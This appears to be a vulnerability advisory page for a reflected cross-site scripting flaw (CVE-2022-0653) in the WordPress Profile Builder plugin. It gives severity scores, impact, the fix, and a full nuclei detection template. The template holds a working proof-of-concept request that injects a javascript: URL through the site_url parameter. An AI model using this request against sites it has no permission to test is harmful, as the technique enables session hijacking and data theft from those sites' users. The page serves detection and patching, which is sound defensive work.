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CVE-2022-0653· cozmoslabs / profile builder· CWE-79

Wordpress Profile Builder Plugin Cross-Site Scripting

mediumseverity
6.1CVSS score
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to version 3.6.5 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=…
Positive when: contains "<a href=\"javascript:alert(document.domain);\">here</a>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0653 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0653

info:
  name: Wordpress Profile Builder Plugin Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Upgrade to version 3.6.5 or later.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653
    - https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2655168%40profile-builder&new=2655168%40profile-builder&sfp_email=&sfph_mail=
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0653
    cwe-id: CWE-79
    epss-score: 0.02331
    epss-percentile: 0.83685
    cpe: cpe:2.3:a:cozmoslabs:profile_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cozmoslabs
    product: profile_builder
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,wp-plugin,cozmoslabs,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="javascript:alert(document.domain);">here</a>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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